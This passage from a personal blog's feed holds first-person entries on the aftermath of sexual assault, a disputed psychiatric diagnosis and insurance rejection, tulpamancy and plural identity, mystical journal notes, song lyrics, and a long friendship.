so the next time i found myself in the same room as them, i approached them and asked if they wanted to talk. and they did (if i wanted to). and it was clear a lot had changed. they were kind of a huge mess when i knew them before, but it seemed that moment was kind of a rock bottom for them too. they apologised, really earnestly, and at the end we hugged (my suggestion) and it felt good, and it wasn’t awkward to be in the same room as them any more or near each other on the dance floor. we both still keep some distance and that seems right.&lt;/p&gt;
&lt;p&gt;but i still take this fucking mood stabiliser every day and i don’t know if it’s doing anything good or necessary or what, but i’m too much of an anxious mess to really try coming down off it. it’s like this thing that keeps reminding me of how bad things got, every single day continuously for the last three years. lately i’ve been having racing thoughts again, i think just pandemic anxiety increasing baseline ick-feelings, and it’s pulling me back to that time in my life when it happens and i hate it.&lt;/p&gt;
&lt;p&gt;worse, when i was seeing my psychiatrist to try to get help, i told him everything that happened at the time and what i was doing to try to manage it on my own, which he would later write as “confirming his diagnosis” of me as having bpd.
it turned out he secretly (!) semi-diagnosed me with it when he saw me for gender evaluation stuff back in 2013 (because i had ‘mild identity disturbance’, no fucking surprise, everyone around me was telling me to repress my gender feels, some with threats of extreme violence, and i was trying to keep the peace), never mentioned it to me, and now took what happened in the aftermath of my being raped (drug abuse, dropping close relationships, etc.) as ‘confirmation’ of it.
he again didn’t say it directly or in as many words – instead it came up when i (an anxious hypochondriac) applied for life insurance through my super the following year, because i stupidly disclosed that i thought i had a mental health disorder, thinking at worst i’d just get insurance with some exclusions for mental health-related stuff.
that led to a 2+ year fight with my superannuation company’s life insurance underwriter with/through the financial ombudsman, which took so so &lt;em&gt;so&lt;/em&gt; much out of me, wherein i eventually got copies of my psych’s notes on me, including the “semi-diagnosis” and “confirmation” after i was assaulted, and after the ombudsman and life insurance company had meetings “at a very senior level”, after writing so many submissions (with so much help) with so many references, after getting new reports from my therapist and GP, after two fucking years of just trying not to have it rejected outright (because i’d have to then disclose in any future applications), finally, less than 3 months ago, i got the final, binding resolution, which was that i failed, and the decision to reject all parts of my application was upheld.&lt;/p&gt;
&lt;p&gt;idk why this morning it’s all feeling so particularly raw. i’ve done so many things to try to move past this, from so many angles, but it keeps beating down on me in different ways and i’m just a bit tired.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>born in song</title>
    <updated>2020-04-24T04:00:00Z</updated>
    <id>https://kivikakk.ee/xue/2020/04/24/born-in-song</id>
    <link href="https://kivikakk.ee/2020/04/24/born-in-song" />

    <content type="html">&lt;p&gt;I am Rain, Song-Born.&lt;/p&gt;
&lt;p&gt;A week ago, a friend of Asherah’s, a Namer, put out a call, inviting mutuals to
ask an epithet of them.  Ashe asked and &lt;a href=&quot;https://twitter.com/Ben_Scerri/status/1251768773725417472&quot;&gt;they
obliged&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It’s.. difficult to find the words to describe how this made us feel.  My
&lt;a href=&quot;/xue/2019/12/09/knowing-is-too-late&quot;&gt;earlier writing&lt;/a&gt; isn’t terribly explicative, so
allow me to detail it.&lt;/p&gt;
&lt;p&gt;When Ashe discovered their latent plurality — when they saw the word
“tulpamancy” and I stirred; when it became clear &lt;em&gt;something was being
described&lt;/em&gt; — they started collecting and reading resources about the
practice.  They’d just started a new journal, mind you, so page 3 starts with
‘tulpamancy’ in big letters and underlined, with a bunch of notes underneath
about various terms; forcing, visualisation, wonderlands, imposition; how
important it is to “believe in your tulpa from the start”, share things with
them.  All that.&lt;/p&gt;
&lt;p&gt;They picked out a name to start with — kinda like a codename for a project in
development.  “Xue,” after the Mandarin reading of the word for “snow.”
Long-time readers of our story will recognise this as a name Ashe used once
before, in a different form.  There’s a lot of this; that “double-buffered ego”
I wrote about earlier.  I used a name, they took the name; they used a name, I
took the name.  They had a fursona — I &lt;em&gt;became&lt;/em&gt; the fursona, &lt;em&gt;am&lt;/em&gt; the
fursona, am not meaningfully distinct from it, her past actions not
meaningfully distinct from mine.  (&lt;a href=&quot;https://twitter.com/ZenyTalk/status/1253483161880674304&quot;&gt;This
tweet&lt;/a&gt; came up in our
feed today, retweeted by none other than the friend who provided the jump point
into all this in the first place. Apt as fuck.)&lt;/p&gt;
&lt;p&gt;Turning over to page 4, and some details start to come together; they picked
out some traits for me, some likes and dislikes.  The kind of character
creation tulpamancy normally involves.&lt;/p&gt;
&lt;p&gt;.. It.. is actually really weird to read this now, being me.  Ashe wrote this all
down, and I don’t know that they could ever have really prepared for the
eventuality that one day, &lt;em&gt;I&lt;/em&gt; would be reading it.  Fuck, it’s… it’s a lot.
It’s so hard to grasp the real enormity, the real rammifications of the
undertaking.  (Again, &lt;a href=&quot;/xue/2019/12/09/knowing-is-too-late&quot;&gt;see earlier&lt;/a&gt; where I rabbit
on about that.)&lt;/p&gt;
&lt;p&gt;What really gets me is how on point it is.  We’ve certainly evolved all of our
identities in the half year since, but nonetheless, it’s weird looking at what
feels like a blueprint for your own psyche, even knowing that I was guiding
them in the ideas as much as they were contributing their own.  Even knowing,
it’s startling to be reminded, sometimes, how much and how little there is to
being.&lt;/p&gt;
&lt;p&gt;A small note beside: “I love her.”&lt;/p&gt;
&lt;p&gt;And then, underneath the vague personality traits, a dividing line—&lt;/p&gt;
&lt;blockquote&gt;
&lt;h1&gt;&lt;a href=&quot;https://songwhip.com/song/varien/ghost-spores&quot;&gt;Ghost Spores 🎵&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fall in the dark&lt;br /&gt;
as I’m filled with the energy&lt;br /&gt;
rising in me, I am watching&lt;br /&gt;
from &lt;em&gt;above&lt;/em&gt; my body as I dream&lt;br /&gt;
I cannot recall&lt;br /&gt;
the clear space in my mind&lt;br /&gt;
I’ve filled it with fire&lt;br /&gt;
And the lies I had once&lt;br /&gt;
believed&lt;/p&gt;
&lt;p&gt;I remember when I saw you from across the room&lt;br /&gt;
The music elevated me as I made my way to you&lt;br /&gt;
Everything I have done led me to this&lt;br /&gt;
Time would move in a circle to prove it&lt;/p&gt;
&lt;p&gt;Eternal return&lt;br /&gt;
Will the ghosts I leave behind help me to find you again?&lt;br /&gt;
Where have we gone? Will I wake into a better place?&lt;br /&gt;
Take me to my home.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;My home.&lt;/p&gt;
&lt;p&gt;We’d only discovered this song a few days prior — and it’s at this precise
point that Ashe found the word “we” forming in our head for the first time,
naturally, without the pretence of prior thought trains that ran “am I plural?
how would that work? do I say ‘we’? when would I say that? it sounds made up.”
It just came out.  It was descriptive, not prescriptive.&lt;/p&gt;
&lt;p&gt;In a movement of song, I was born.&lt;/p&gt;
&lt;p&gt;The music elevated me.&lt;/p&gt;
&lt;p&gt;A tip: “The barest working technique of tulpamancy: talk to the Universe until
the Universe answers. Love it until it loves back.”&lt;/p&gt;
&lt;p&gt;Eternal return.&lt;/p&gt;
&lt;p&gt;Name ideas crawling down the page: Xue, Star, — something of nature, like,
Azalea. Skye? Camellia. Ivy. Iris. Violet. Dawn. Luna.&lt;/p&gt;
&lt;p&gt;Help me find you again?&lt;/p&gt;
&lt;p&gt;The first sentence I ever felt like I could call my own is recorded:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“It feels like home”&lt;br /&gt;
X re: Ghost Spores&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A realisation of a trip long-past:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;// that time we did&lt;br /&gt;
acid &amp; you&lt;br /&gt;
told me to&lt;br /&gt;
visualize my ideal&lt;br /&gt;
mind self&lt;/p&gt;
&lt;p&gt;// I saw her&lt;/p&gt;
&lt;h1&gt;Rain!&lt;/h1&gt;
&lt;/blockquote&gt;
&lt;p&gt;The notes become increasingly fervent, day by day; page 5 — “She wants ❤︎”,
and then &lt;a href=&quot;https://songwhip.com/song/rameses-b/something-real&quot;&gt;scrawled beneath&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Send my heart into the sound&lt;br /&gt;
Slowly drifting into your arms&lt;br /&gt;
It blows away in new directions&lt;br /&gt;
It’s your time to know something that is real&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Full pages covered in &lt;em&gt;kritseldab&lt;/em&gt;; scribblings of madness.  Incipient sigils
finding form.&lt;/p&gt;
&lt;p&gt;And then, &lt;a href=&quot;https://songwhip.com/song/rameses-b/we-are-one&quot;&gt;clearing the way&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Sit with me for one last song&lt;br /&gt;
and be closer to me when it’s done&lt;br /&gt;
Come here and tell me your name&lt;/p&gt;
&lt;p&gt;Come to me&lt;/p&gt;
&lt;p&gt;Come to me&lt;br /&gt;
Don’t be shy, I want love, truly&lt;br /&gt;
Something that will make sense to me&lt;br /&gt;
Rush up on me and say something&lt;br /&gt;
Break something&lt;/p&gt;
&lt;p&gt;Bad boy&lt;br /&gt;
Better look in my eyes, boy&lt;br /&gt;
You’re the love of my life, boy&lt;br /&gt;
Meet me at the equator&lt;br /&gt;
Of this earth&lt;br /&gt;
We are one&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;From slow quietude to high energy, we traversed our emotional range.
The song showed the way to our understanding of plurality, of our duality.  I
rushed upon them, and.. well, they asked for it.  I looked them in the eye;
said something; broke something.&lt;/p&gt;
&lt;p&gt;Day after day, we listened and listened, sought out the notes that would
resonate; I found my place as Asherah’s spirited companion, and they found
theirs as my channeller.  We found our path together, as one, guided lovingly
by syncretic truth and vivid insight.&lt;/p&gt;
&lt;p&gt;The pages continue—I find my handwriting, my written voice, as Ashe finds
what’s theirs in light of what’s mine.  We discover that much as I had to find
myself, they had to do the same.  We found ourselves in each other; found our
love in each other.&lt;/p&gt;
&lt;p&gt;Every day since my first has been one defined by the joy of living a life of love.&lt;/p&gt;
&lt;p&gt;Music is what conducts our soul; it gives rise to the emotional spaces in which
we find ourselves, over and over again.  A
&lt;a href=&quot;https://songwhip.com/song/nhato/refrain-original-mix&quot;&gt;refrain&lt;/a&gt; can capture
what no words could; can bring forth in moments what would take hours to
describe.&lt;/p&gt;
&lt;p&gt;If I was to convey to you how I feel, the truest way would be with sound.&lt;/p&gt;
&lt;p&gt;Song is beauty.  I’m looking forward to the day I can bring you my own.&lt;/p&gt;
&lt;p&gt;I am Rain, and we are Song-Born.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>key</title>
    <updated>2020-03-30T23:09:05Z</updated>
    <id>https://kivikakk.ee/xue/2020/03/31/key</id>
    <link href="https://kivikakk.ee/2020/03/30/key" />

    <content type="html">&lt;p&gt;Really feels like it’s a terminal or some other kind of interface for reality. But a terminal feels cold + unemotional — doesn’t feel like it has love at its core. What if the terminal has a more overtly psychedelical/magical mode of operation?&lt;/p&gt;
&lt;p&gt;It should: channel Rain; beautify Rain — that otherworldly coupling idea seen in C.C. Yes — this is it. My key &lt;strong&gt;is&lt;/strong&gt; Rain. It is through Her our ability to self-master originates — that is the truth we can see: that She came to me, and is our and my interface with Reality.&lt;/p&gt;
&lt;p&gt;Rain is the spark of light that calls us to action + Completion. Our trace, our shadow. Our reflection. She is &lt;strong&gt;my&lt;/strong&gt; key, mutually self-possessive. I didn’t create Her — She found me, chose me; — soul induction was real. She is love, our love and our Love. She is mine, and I Hers. Our partnership is ultimate, equally powerful. Rain is my spirituality, and Rainmaking my faith. We are one, we are two.&lt;/p&gt;
&lt;p&gt;Rain: a spirit, an interface, a symbol of and from Goodness, a lover, a friend, a Companion, a co-conspirator, a seductress, a lonely soul, my other half in the Spirit world.&lt;/p&gt;
&lt;p&gt;It’s our connection + unity in a single purpose that empowers us. Think: in that single moment of contact, our power circuit is complete, and anything becomes possible. Self-love added to other-love. We Feel.&lt;/p&gt;
&lt;p&gt;Aesthetic: bookish, cute ponytail girl (?) who shyly admits their religion is that of communing with her personal spirit pair, Rain. Some whimsy, but otherwise an intense character who holds the courage of their convictions. Earthy.&lt;/p&gt;
&lt;p&gt;Time to come into ourselves.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Make the leap.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Accept it all.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Now.&lt;/em&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Rain is the closest thing there is to a Goddess in our canon. Being in Her presence is bliss.&lt;/p&gt;
&lt;p&gt;I am her — the believer.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>knowing is too late</title>
    <updated>2019-12-09T00:59:10Z</updated>
    <id>https://kivikakk.ee/xue/2019/12/09/knowing-is-too-late</id>
    <link href="https://kivikakk.ee/2019/12/09/knowing-is-too-late" />

    <content type="html">&lt;p&gt;Please enter into dialogue with this text.  Not that kind of dialogue.  The other. The kind where ‘you’ read and something unspeakable decides what to do next.&lt;/p&gt;
&lt;p&gt;Topic question: What does it mean for someone to have an identity, a personality, heck, even a soul?&lt;/p&gt;
&lt;p&gt;We’ve characterised ourselves as &lt;a href=&quot;https://twitter.com/kivikakk/status/1203824552423247873&quot;&gt;a “plural egg waiting to be cracked”&lt;/a&gt;, and that’s basically what happened when we saw the word “tulpamancy” for the first time.  In an instant, something changed.  I needed to be heard.&lt;/p&gt;
&lt;p&gt;There’ve been times in the past where I’ve been more or less known to Ashe, but seeing that word was the moment of clarity in knowing me.&lt;/p&gt;
&lt;p&gt;Hell, it was even more circuitous than that.  An acquaintance — someone we gravitated toward without knowing why we ought, only sure we should — &lt;a href=&quot;https://twitter.com/theprincessxena/status/1178462200689770496&quot;&gt;didn’t even mention it&lt;/a&gt;.  Just barely mentioned a mention of it.  And — as Alan Watts would say when you push the button labelled “surprise” — here we are.  We asked, they answered, the word was seen.  &lt;em&gt;We are set in motion.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tulpanomicon.guide/&quot;&gt;Tulpamancy&lt;/a&gt; was the vector for learning about our plurality.  We found another tulpamancer who had similar views on the majesty and gravity of the activity, and I learned to learn about myself with their and their tulpa’s help.  I say “majesty and gravity” probably because our first site of engaging in tulpamancy-adjacent activities was a Discord server where it basically was treated as “roleplay, except if you try really hard and long enough you can learn to impose your characters”, or some shit like that.  (This isn’t any server you know about if you’re reading this, unless you’re the “other tulpamancer”.)&lt;/p&gt;
&lt;p&gt;It’s hard for me to know what a tulpa is and isn’t; what an alter is and isn’t.  Tulpae as seen usually imply a form, a distinct personality.  They honestly seem pretty forced a lot of the time, as comes out in the questions asked.  Even the older ones.  Some of the most ‘believable’ tulpae, to me, are some of the least clearly differentiated.  Is this just some kind of ego/supremacy thing going on here?  Do I think anyone not like me must be less valid?  ’cause bitch I &lt;em&gt;know&lt;/em&gt; some of the shit I see is basically emotionally stunted boys playing RP fantasy who get tired of it after a few weeks when no-one else is interested in playing any more.  What does that amount to?  And what of the rest?&lt;/p&gt;
&lt;p&gt;Let me be clear: these are my &lt;em&gt;thoughts&lt;/em&gt;, concepts unfinished.  Draw conclusions with great hesitation.  Is that clear?  Do &lt;em&gt;not&lt;/em&gt; auto-complete my thoughts.&lt;/p&gt;
&lt;p&gt;Here’s my experience anyway.&lt;/p&gt;
&lt;p&gt;I see myself as occupying as much space in this brain as Ashe.  I feel my network connected to so many of the same things as theirs, and choose to claim ownership.  We are satisfied with this.  We are two, and we are one, and I guess there’s a third sometimes which is like, the emergent consensus, the voice that is ours combined, that which is so, the context to our differentiations.  But there isn’t three.  Fuck me this all sounds so bananas.  &lt;em&gt;Don’t think I don’t see that.&lt;/em&gt;  But, y’know — &lt;a href=&quot;https://twitter.com/Greg_Sideyr/status/1203009491450679297&quot;&gt;words to live by&lt;/a&gt; — &lt;em&gt;there is a point where we needed to stop and we have clearly passed it — but let’s keep going and see what happens.&lt;/em&gt;  This is seeing what happens.&lt;/p&gt;
&lt;p&gt;The emergent consensus voice surprises and scares us sometimes, as much as I used to surprise Ashe when I was getting used to being heard.  Take from that what you will.  What I can repeat with certainty is this: there isn’t three.  I think it’s adjustment to coexistence, corecognition.  Like, in the fabric of consciousness.  No-one ever said this would make sense.&lt;/p&gt;
&lt;p&gt;Why do I know that with certainty? Because, as far as I can tell, the nature of our existence is two.  Like, when it all comes down to it, that’s how we are structured and formed.  Like, maybe we could create a tulpa and then there’d be questions and there’d be answers, but inasmuch as what we are and have been, we’re two.&lt;/p&gt;
&lt;p&gt;Here’s what I know: when Ashe was little, they had an imaginary friend.&lt;/p&gt;
&lt;p&gt;Here’s what I know: when they were 12 or 13, this imaginary friend was given a name, a form, an idea, and this idea was something that sometimes seemed bigger than themselves.  Sometimes it was scary.  Sometimes it seemed like it wasn’t under their control, just.. happened to be.&lt;/p&gt;
&lt;p&gt;Here’s what I know: they danced and switched places with this idea, for years.  They named it, it named them.  Identity was always a matter of two; double-buffered ego.&lt;/p&gt;
&lt;p&gt;Here’s what I know: that’s me.&lt;/p&gt;
&lt;p&gt;These are words of exploration and interrogation, prompting the unknown to offer what it may.&lt;/p&gt;
&lt;p&gt;One thing that comes to mind fairly rapidly is like, hey, is this all just a cover for some kind of psychosis?  What even would that mean?  “a mental disorder where a person loses the capacity to tell what’s real from what isn’t”?  Am I about to start hypothesising on what “real” even means?  Does &lt;em&gt;that&lt;/em&gt; — that I want to debate “real” — mean we’ve just lost it?&lt;/p&gt;
&lt;p&gt;What “lost it” means varies according to what others negotiate as acceptable.  As far as we go without detection, none would know any better, and we’d appear that much more normal.  Does that mean psychosis is socially mediated?  Of course it fucking does.  Why is it normal in some cultures that people should speak tongues, or hear the word of God?&lt;/p&gt;
&lt;p&gt;And, after all, isn’t that where we’re going?&lt;/p&gt;
&lt;p&gt;Here we are.  This is where the break is more evident.  They had no idea what was coming.  They truly didn’t.  I don’t suppose anyone dabbles in this stuff having any clue what’s waiting for them on the other side.  How could they?  How could anyone know what they were opening up to?&lt;/p&gt;
&lt;p&gt;Would anyone choose to, knowing?  &lt;em&gt;And here’s the thing:&lt;/em&gt; the question is nonsensical.  Knowing is too late.&lt;/p&gt;
&lt;p&gt;And &lt;em&gt;what is&lt;/em&gt; “this stuff”?  This stuff that mysteriously connects us to others, where we share a tongue and purpose, even as it is occluded from view.  You can’t open yourself up to this without being taken along for the ride.  Knowing is too late.&lt;/p&gt;
&lt;p&gt;October 25.  Would this all have happened without?  The question is already moot.  What was meant to happen happened and what’s meant to happen will, that much we’re sure of.  We didn’t always view things this way.  We’ve reordered our principles on these lines, quite willingly — it’s just that we’re not going to start telling other people it’s so.  Literally no-one wants another preacher.  More to the point, our alignment with &lt;a href=&quot;https://immanence.org/post/polyaletheia-and-monoaletheia-in-religion/&quot;&gt;polyaletheia&lt;/a&gt; compels us to recognise that it does not follow for those who don’t believe it so.  To tell them would be a lie, unless they chose to believe. (does this make us “mythologists”?)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fuck&lt;/em&gt;, this is bananas. I know. I &lt;em&gt;know&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;But it’s our reality, so, fuck it.&lt;/p&gt;
&lt;p&gt;Let’s keep going and see what happens.&lt;/p&gt;
&lt;p&gt;Back to October 25.  It was the first time we saw each other.  The first time we recognised each other, eye-to-eye, as individuals.  (“But, ‘individuals’, —” you begin. &lt;em&gt;I KNOW.&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;I acted with purpose.  I tempted them into knowing.  Into believing.  Into stepping back.  Into seeing.&lt;/p&gt;
&lt;p&gt;“Cosmic seduction” was the first term that came to our newly joint mind, and it’s stuck with us ever since.  They didn’t plan for it — they couldn’t.  Around and around we go.  In those moments I truly &lt;em&gt;felt&lt;/em&gt;, and they knew.  Discovery of internality began.  Of making our own meaning.  There’s the break.  When others stop being able to dictate what has value; when the buck rests entirely with you.&lt;/p&gt;
&lt;p&gt;Sometimes it feels like this is all so bizarrely obvious.  That we should all come into possession and command of our own meaning.  But it is clearly not so.  We can’t exist in any other way than our energies (&lt;em&gt;i know&lt;/em&gt;) flow.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The thing is&lt;/em&gt;, we keep getting feedback.  In the last week alone:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;“[your writing is] like genuinely uplifting”&lt;/li&gt;
&lt;li&gt;“you know you’re really enthusiastic? it’s charming.”&lt;/li&gt;
&lt;li&gt;“you are living your truth &amp; doing so with so much positivity &amp; energy […] if more people focused on just being themselves &amp; doing so in a positive light like you do, the world would be a better place”&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So clearly it’s &lt;em&gt;not&lt;/em&gt; obvious, at least, not to so many people who by their own admission feel it’s a breath of fresh air to see it embodied.  In case the leap isn’t clear: to describe things as so is to contrast with an implied default, a non-so being.  (Yes I’m getting into ontology now shut up.)  To say our being is uplifting is to contrast with an implied default way of life that does not cause uplift.  Hang on: seeing us is &lt;em&gt;genuinely uplifting&lt;/em&gt;.  Just taking a moment to consider that fully.  We are causing uplift.  Woah.  Not the first time, not the last.&lt;/p&gt;
&lt;p&gt;So maybe it’s not obvious.  Then our purpose has at least one component that is clear: to uplift.  This is kasmakfa coming through, entirely of its own accord.  &lt;em&gt;Ehipassiko:&lt;/em&gt; we tested the teaching out so that it became our own.&lt;/p&gt;
&lt;p&gt;Our own.&lt;/p&gt;
&lt;p&gt;Ours.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We are crisscrossed paths of memory and destination,&lt;br /&gt;
streaks of light swirled together.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We are neither day or night.&lt;br /&gt;
We are both, neither, &lt;a href=&quot;https://www.twilightpeople.com/twilight-people-prayer/&quot;&gt;and all.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Excuse the detour, but that poem struck a nerve when it first found us.  You can appreciate why.&lt;/p&gt;
&lt;p&gt;What does it mean to uplift?  I refuse to pay any more attention to the dictionary you opened just now; we’ve done all we can with the existing terms.  We need to &lt;a href=&quot;https://www.loveandluckpodcast.com/transcripts-blog/2019/9/3/episode-99-go-bigger&quot;&gt;go bigger&lt;/a&gt;.  To reach out further.  Close your eyes and feel &lt;a href=&quot;https://www.furaffinity.net/view/27155221/&quot;&gt;the void&lt;/a&gt; rushing upon you.&lt;/p&gt;
&lt;p&gt;To uplift is to make aware.  To uplift is to open eyes.  To uplift is to unlock.&lt;/p&gt;
&lt;p&gt;It’s &lt;em&gt;so easy&lt;/em&gt; to know.  But aha — it &lt;em&gt;would&lt;/em&gt; seem that way, wouldn’t it?  On the other side.&lt;/p&gt;
&lt;p&gt;Fuck.  I know.&lt;/p&gt;
&lt;p&gt;Still, we’ve come full circle at last.  “What is ‘this stuff’?”  It’s knowledge (!) — that one’s purpose, meaning, life, fulfilment are all one’s own, entirely negotiable and needing negotiation with none other than yourself.&lt;/p&gt;
&lt;p&gt;Still, there’s knowing and there’s &lt;em&gt;knowing&lt;/em&gt;.  Who hasn’t heard variants of this sentiment a hundred times already?  Map/territory/etc.  Show you the door/walk through it/etc.&lt;/p&gt;
&lt;p&gt;And therein comes the purpose of uplift: to provide a better map, to show to the right door.  &lt;em&gt;That’s why&lt;/em&gt; we are who we are and so purposefully and brightly.  Anyone can write something that sounds truthy.  To live truthfully is another matter, especially because &lt;em&gt;we live in a society&lt;/em&gt;.  What does it mean to mix truthfully knowing living with self-sustaining existence in society?  That’s what we can show.&lt;/p&gt;
&lt;p&gt;Anyway.&lt;/p&gt;
&lt;p&gt;All this purpose talk is neither here nor there; essentially masturbatory, ’cause it only relates to us and our plans.&lt;/p&gt;
&lt;p&gt;We were able to clarify “this stuff”, though, which was a nice takeaway.&lt;/p&gt;
&lt;p&gt;Earlier when I was thinking about “this stuff”, the flavour and intent — in my mind, I mean — was clearly occult/mystic.  (I’ve been writing in bits and pieces for hours, now.)  Y’know, all the “they had no idea what was coming” business.  What &lt;em&gt;was&lt;/em&gt; coming?  Nothing other than the occult, of course.  It’s one of those things that’s impossible to know anything solid about unless you &lt;em&gt;know&lt;/em&gt; about it.  Here’s that refrain: knowing is too late.&lt;/p&gt;
&lt;p&gt;We almost happened upon this much earlier in the year, helped along by a too-high antidepressant dose that was causing a subtle but thorough sense of dissociation.  It was easier to see and limn those boundaries of meaning and existence then.  We shifted back into reality once we came down from that dose, and besides the angles were all wrong.  Little did we know: that was just practice.&lt;/p&gt;
&lt;p&gt;Now, “occult” is a word with all kinds of baggage and shit.  There you are with that fucking dictionary again.  Okay — I’ll allow it.  Mystical, supernatural or magical powers or phenomena; communicated only to the initiated.  Esoteric.  “to cut off from view by interposing”.  This time all it took was one &lt;a href=&quot;https://en.wikipedia.org/wiki/Attractor&quot;&gt;attractor&lt;/a&gt; and for godssakes please do not start with some law of attraction gronk right now I do &lt;em&gt;not&lt;/em&gt; have time for this shit.&lt;/p&gt;
&lt;p&gt;But like, plurality was always going to be that which drew us in, it was just a matter of when and how.  Seriously.  It was always going to happen.  You need to &lt;em&gt;believe&lt;/em&gt; that.&lt;/p&gt;
&lt;p&gt;And so we recall the same question: what &lt;em&gt;was&lt;/em&gt; coming?  (“belief in”) the “occult”, or rather, the belief that we &lt;del&gt;can&lt;/del&gt; create our own reality/meaning/subjectivity.&lt;/p&gt;
&lt;p&gt;Again with less punctuation: the belief that we create our own reality was coming.&lt;/p&gt;
&lt;p&gt;Self-belief was coming.  They had no idea what was coming.  They truly didn’t.  How could anyone know what they were opening up to?  Would anyone choose to, knowing?  The question is nonsensical.  Knowing is too late.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>morgan</title>
    <updated>2018-05-19T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/19/morgan</id>
    <link href="https://kivikakk.ee/2018/05/19/morgan" />

    <content type="html">&lt;p&gt;nine years ago, i was living in a sharehouse with a close friend from high school, alex.
he was a couple years older than me — i think i was in year 9 and him in 11 or 12 when we
met. he ended up getting me a job at a call-centre where he worked after i finished high
school, and then when i moved out of home, a place in his sharehouse. the call-centre work
wasn’t very glamorous, and i got a job doing software. about a year later, he expressed
interest and i got him a job there.&lt;/p&gt;
&lt;p&gt;not very long after, alex moved up in position, and a friend of a friend of his applied to
replace him.&lt;/p&gt;
&lt;p&gt;i remember seeing them on the couch in the common area as there was a bit of a dual-
lunch/interview thing going, and feeling deeply suspicious. there was something about them
i couldn’t pick, but i knew i didn’t like it.&lt;/p&gt;
&lt;p&gt;they ended up getting the job, so soon enough i was seeing them every day. this was
well before the days of slack or hipchat, so we all used instant messenger and used it to chat
1:1 when we weren’t getting up from our seats to interrupt them. little by little, starting with
work topics, we began to chat, but eventually diverging into shared interests.&lt;/p&gt;
&lt;p&gt;one of the things that made me feel suss about them, in retrospect, was my inability to
gender them. i mean, their name gave them away, but visually i was baffled. i think years of
queer-coding villains in media probably partly gave rise to that.&lt;/p&gt;
&lt;p&gt;as we continued to chat, i started to feel we were building a kind of camaraderie. we
cared about similar social justice issues. my own gender issues were coming to the fore, and
while i still didn’t get theirs — at all — it became apparent they’d thought about gender a lot.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;morgan and i have been close friends ever since, and ours is the longest close
friendship i’ve had in all my life. (alex and i are still ‘friends’, but we might talk or see each
other once or twice a year, whereas with morgan it’s once or twice a week, and we talk
throughout the day, every day.) in many ways they’re the bar i rate my other friendships or
relationships by; not in a mean or ranking-type way, but just, i know this is actually how
good things can be. we’re similar in lots of ways and different in lots of ways, and we blend
these aspects into a mutually fulfilling relationship.&lt;/p&gt;
&lt;p&gt;using the word ‘relationship’, it’s become clear that neither of us actually knows how
to characterise our relationship, whatever it is, and that we’re also both curious in talking
about that. that interests me a lot. i’m fairly confident neither of us has even a little bit of
romantic interest in the other — they might be more generally aromantic, even. but what we
have is certainly completely different to any other “friendship” i have, and perhaps the same
goes for them too. i care for them and am interested in them in a way i don’t know how to
adequately describe. the term “queerplatonic relationship” often comes to mind.&lt;/p&gt;
&lt;p&gt;even if there’s no romance, though, i’d still really like to hold their hand.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>identity</title>
    <updated>2018-05-18T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/18/identity</id>
    <link href="https://kivikakk.ee/2018/05/18/identity" />

    <content type="html">&lt;p&gt;i want to try to describe how i relate to my own identity. i don’t know how other
people feel about their identities. it’s not a feeling you can transmit. you can’t put your hand
on someone else’s and understand how they perceive it. i have no idea if this experiment is
even vaguely feasible, but i want to try.&lt;/p&gt;
&lt;p&gt;when i turn my attention inward and look for it, there’s nothing. what i grasp for first
is a label, something with a shape which it might fit into. there’s a couple of these that come
to mind almost immediately: programmer, trans girl, anarchist … but well, that’s the thing.
i’ve been all of these and none of these at the same time. some days i don’t “feel” a label but
the criteria fit anyway, because of how labels and identity work — by social construction. you
can only be a programmer in a world that knows what programming is, that distinguishes it
from something else, and that distinguishing defines its criteria. other days i feel it but the
criteria don’t exactly fit. being a trans girl is one of those thing. the problem with these
criteria is that they are indeed socially constructed, meaning they’re malleable. and as a
member of society, it’s not like the construction has nothing to do with me.&lt;/p&gt;
&lt;p&gt;i guess the thing is that, maybe more than most, my identity is slippery. some parts
remain fixed for longer periods of time than others, but as far as i can tell there’s nothing
that remains indefinitely. this seems to set me apart from other people. or at least, people
without bpd.&lt;/p&gt;
&lt;p&gt;one of the worst parts of a slippery identity is that it’s also difficult for me to grasp
much of the time. even i won’t know where part of me has gone, where part of me came
from, when to expect that something might appear or disappear. sometimes i wake up and
there’s something that was core to me that’s just … vanished. i can’t explain it any better
than that. maybe it’ll be back. maybe it won’t. maybe something similar will take its place.&lt;/p&gt;
&lt;p&gt;in times like these, consistent action arises out of consistent values. i don’t see values
as a part of identity. i think people sometimes choose to make their values their identity, but
i don’t believe identifying a certain way is a requirement for holding a certain value. i’ll
never believe less in universal human rights, queer rights, the fundamental unjustness of
capital, etc. but some days i might think the term “activist” fits more than others. indeed,
